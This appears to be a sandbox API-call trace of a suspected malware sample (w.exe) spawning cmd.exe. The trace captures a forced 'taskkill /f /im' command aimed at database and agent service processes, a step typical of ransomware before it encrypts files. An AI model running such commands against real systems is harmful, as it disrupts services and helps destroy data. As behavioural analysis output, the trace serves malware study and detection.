	[0037.875] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x418) returned 0x6a2e00
	[0037.875] SetErrorMode (uMode=0x0) returned 0x8003
	[0037.875] SetErrorMode (uMode=0x1) returned 0x0
	[0037.875] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x6a2e08, lpFilePart=0x32fb54 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x32fb54*="f") returned 0x31
	[0037.875] SetErrorMode (uMode=0x8003) returned 0x1
	[0037.875] GetProcessHeap () returned 0x690000
	[0037.875] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a2e00, Size=0xaa) returned 0x6a2e00
	[0037.875] GetProcessHeap () returned 0x690000
	[0037.875] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a2e00) returned 0xaa
	[0037.875] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0037.875] GetProcessHeap () returned 0x690000
	[0037.875] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x72) returned 0x6b2a90
	[0037.875] GetProcessHeap () returned 0x690000
	[0037.875] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xd8) returned 0x6a2eb8
	[0037.876] GetProcessHeap () returned 0x690000
	[0037.876] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a2eb8, Size=0x72) returned 0x6a2eb8
	[0037.876] GetProcessHeap () returned 0x690000
	[0037.876] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a2eb8) returned 0x72
	[0037.876] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.876] GetProcessHeap () returned 0x690000
	[0037.876] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xe0) returned 0x6a2f38
	[0037.879] GetProcessHeap () returned 0x690000
	[0037.879] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a2f38, Size=0x76) returned 0x6a2f38
	[0037.879] GetProcessHeap () returned 0x690000
	[0037.879] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a2f38) returned 0x76
	[0037.879] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0037.879] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im agntsvc.exeisqlplussvc.exe ", fInfoLevelId=0x1, lpFindFileData=0x32f8f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f8f0) returned 0xffffffff
	[0037.880] GetLastError () returned 0x3
	[0037.880] GetProcessHeap () returned 0x690000
	[0037.880] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aaa58 | out: hHeap=0x690000) returned 1
	[0037.880] GetProcessHeap () returned 0x690000
	[0037.880] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aea68 | out: hHeap=0x690000) returned 1
	[0037.880] GetProcessHeap () returned 0x690000
	[0037.880] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a6a40 | out: hHeap=0x690000) returned 1
	[0037.880] GetConsoleOutputCP () returned 0x1b5
	[0037.880] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a044260 | out: lpCPInfo=0x4a044260) returned 1
	[0037.880] GetUserDefaultLCID () returned 0x409
	[0037.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a044950, cchData=8 | out: lpLCData=":") returned 2
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32fd1c, cchData=128 | out: lpLCData="0") returned 2
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32fd1c, cchData=128 | out: lpLCData="0") returned 2
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32fd1c, cchData=128 | out: lpLCData="1") returned 2
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a044940, cchData=8 | out: lpLCData="/") returned 2
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a044d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a044d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a044d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a044cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a044c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a044c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a044c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a044930, cchData=8 | out: lpLCData=".") returned 2
	[0037.881] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a044920, cchData=8 | out: lpLCData=",") returned 2
	[0037.881] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0037.882] GetProcessHeap () returned 0x690000
	[0037.882] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20c) returned 0x6a2fb8
	[0037.882] GetConsoleTitleW (in: lpConsoleTitle=0x6a2fb8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0037.883] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0037.883] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0037.883] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0037.883] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0037.883] GetProcessHeap () returned 0x690000
	[0037.883] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x400a) returned 0x6a6a40
	[0037.883] GetProcessHeap () returned 0x690000
	[0037.883] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a6a40 | out: hHeap=0x690000) returned 1
	[0037.884] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0037.884] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0037.884] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0037.884] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0037.884] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0037.884] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0037.884] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0037.884] GetProcessHeap () returned 0x690000
	[0037.884] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a31d0
	[0037.884] GetProcessHeap () returned 0x690000
	[0037.884] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x1a) returned 0x6a5740
	[0037.885] GetProcessHeap () returned 0x690000
	[0037.885] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x50) returned 0x6a3230
	[0037.885] GetConsoleTitleW (in: lpConsoleTitle=0x32fa14, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0037.886] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0037.886] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0037.886] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0037.886] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0037.886] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0037.886] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0037.886] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0037.886] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0037.886] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0037.886] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0037.886] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0037.886] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0037.886] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0037.886] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0037.886] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0037.886] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0037.886] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0037.886] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0037.886] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0037.887] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0037.887] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0037.887] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0037.887] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0037.887] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0037.887] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0037.887] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0037.887] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0037.887] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0037.887] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0037.887] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0037.887] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0037.887] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0037.887] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0037.887] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0037.887] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0037.887] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0037.887] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0037.887] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0037.887] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0037.887] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0037.887] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0037.887] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0037.887] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0037.887] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0037.887] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0037.887] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0037.887] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0037.887] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0037.887] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0037.887] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0037.887] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0037.887] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0037.887] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0037.888] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0037.888] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0037.888] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0037.888] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0037.888] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0037.888] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0037.888] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0037.888] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0037.888] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0037.888] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0037.888] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0037.888] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0037.888] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0037.888] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0037.888] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0037.888] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0037.888] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0037.888] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0037.888] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0037.888] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0037.888] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0037.888] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0037.888] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0037.888] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0037.888] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0037.888] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0037.888] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0037.888] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0037.888] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0037.888] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0037.888] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0037.888] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0037.888] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0037.888] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0037.889] GetProcessHeap () returned 0x690000
	[0037.889] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x210) returned 0x6a3288
	[0037.889] GetProcessHeap () returned 0x690000
	[0037.889] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x62) returned 0x6a34a0
	[0037.889] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0037.889] GetProcessHeap () returned 0x690000
	[0037.889] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x418) returned 0x6907f0
	[0037.889] SetErrorMode (uMode=0x0) returned 0x8003
	[0037.889] SetErrorMode (uMode=0x1) returned 0x0
	[0037.889] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6907f8, lpFilePart=0x32f534 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32f534*="Desktop") returned 0x25
	[0037.889] SetErrorMode (uMode=0x8003) returned 0x1
	[0037.889] GetProcessHeap () returned 0x690000
	[0037.889] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6907f0, Size=0x66) returned 0x6907f0
	[0037.889] GetProcessHeap () returned 0x690000
	[0037.889] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6907f0) returned 0x66
	[0037.890] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0037.890] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0037.890] GetProcessHeap () returned 0x690000
	[0037.890] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x120) returned 0x690860
	[0037.890] GetProcessHeap () returned 0x690000
	[0037.890] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x238) returned 0x690988
	[0037.892] GetProcessHeap () returned 0x690000
	[0037.892] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x690988, Size=0x122) returned 0x690988
	[0037.892] GetProcessHeap () returned 0x690000
	[0037.892] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x690988) returned 0x122
	[0037.892] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.892] GetProcessHeap () returned 0x690000
	[0037.892] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xe0) returned 0x690ab8
	[0037.892] GetProcessHeap () returned 0x690000
	[0037.892] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x690ab8, Size=0x76) returned 0x690ab8
	[0037.892] GetProcessHeap () returned 0x690000
	[0037.892] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x690ab8) returned 0x76
	[0037.892] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0037.892] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x32f2b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f2b0) returned 0xffffffff
	[0037.892] GetLastError () returned 0x2
	[0037.892] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x32f2b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f2b0) returned 0xffffffff
	[0037.892] GetLastError () returned 0x2
	[0037.892] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0037.892] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x32f2b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f2b0) returned 0x6a3510
	[0037.893] GetProcessHeap () returned 0x690000
	[0037.893] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a3550
	[0037.893] FindClose (in: hFindFile=0x6a3510 | out: hFindFile=0x6a3510) returned 1
	[0037.893] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x32f2b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f2b0) returned 0xffffffff
	[0037.893] GetLastError () returned 0x2
	[0037.893] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x32f2b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f2b0) returned 0x6a3510
	[0037.893] GetProcessHeap () returned 0x690000
	[0037.893] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a3550, Size=0x4) returned 0x6a3550
	[0037.893] FindClose (in: hFindFile=0x6a3510 | out: hFindFile=0x6a3510) returned 1
	[0037.893] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0037.893] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0037.893] GetConsoleTitleW (in: lpConsoleTitle=0x32f7a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0037.893] InitializeProcThreadAttributeList (in: lpAttributeList=0x32f630, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32f6f8 | out: lpAttributeList=0x32f630, lpSize=0x32f6f8) returned 1
	[0037.893] UpdateProcThreadAttribute (in: lpAttributeList=0x32f630, dwFlags=0x0, Attribute=0x60001, lpValue=0x32f6f0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32f630, lpPreviousValue=0x0) returned 1
	[0037.893] GetStartupInfoW (in: lpStartupInfo=0x32f5ec | out: lpStartupInfo=0x32f5ec*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8)) 
	[0037.893] GetProcessHeap () returned 0x690000
	[0037.893] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x18) returned 0x6a3510
	[0037.893] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0037.894] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0037.895] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0037.895] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0037.895] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0037.895] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0037.895] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0037.895] GetProcessHeap () returned 0x690000
	[0037.895] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a3510 | out: hHeap=0x690000) returned 1
	[0037.895] GetProcessHeap () returned 0x690000
	[0037.895] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xa) returned 0x69ff10
	[0037.895] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0037.896] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im agntsvc.exeisqlplussvc.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x32f68c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im agntsvc.exeisqlplussvc.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32f6d8 | out: lpCommandLine="taskkill  /f /im agntsvc.exeisqlplussvc.exe ", lpProcessInformation=0x32f6d8*(hProcess=0x78, hThread=0x74, dwProcessId=0x798, dwThreadId=0x7d0)) returned 1
	[0037.901] CloseHandle (hObject=0x74) returned 1
	[0037.901] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0037.901] GetProcessHeap () returned 0x690000
	[0037.901] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5f00 | out: hHeap=0x690000) returned 1
	[0037.901] GetEnvironmentStringsW () returned 0x6b4a78*
	[0037.901] GetProcessHeap () returned 0x690000
	[0037.901] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xb36) returned 0x6a40c0
	[0037.901] FreeEnvironmentStringsW (penv=0x6b4a78) returned 1
	[0037.901] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0038.235] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x32f5cc | out: lpExitCode=0x32f5cc*=0x80) returned 1
	[0038.235] CloseHandle (hObject=0x78) returned 1
	[0038.235] _vsnwprintf (in: _Buffer=0x32f714, _BufferCount=0x13, _Format="%08X", _ArgList=0x32f5d8 | out: _Buffer="00000080") returned 8
	[0038.235] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0038.235] GetProcessHeap () returned 0x690000
	[0038.235] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a40c0 | out: hHeap=0x690000) returned 1
	[0038.235] GetEnvironmentStringsW () returned 0x6a40c0*
	[0038.235] GetProcessHeap () returned 0x690000
	[0038.235] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xb5c) returned 0x6a5f00
	[0038.235] FreeEnvironmentStringsW (penv=0x6a40c0) returned 1
	[0038.235] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0038.235] GetProcessHeap () returned 0x690000
	[0038.235] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5f00 | out: hHeap=0x690000) returned 1
	[0038.235] GetEnvironmentStringsW () returned 0x6a40c0*
	[0038.235] GetProcessHeap () returned 0x690000
	[0038.235] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xb5c) returned 0x6a5f00
	[0038.235] FreeEnvironmentStringsW (penv=0x6a40c0) returned 1
	[0038.235] GetProcessHeap () returned 0x690000
	[0038.236] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x69ff10 | out: hHeap=0x690000) returned 1
	[0038.236] DeleteProcThreadAttributeList (in: lpAttributeList=0x32f630 | out: lpAttributeList=0x32f630) 
	[0038.236] _get_osfhandle (_FileHandle=1) returned 0xc4
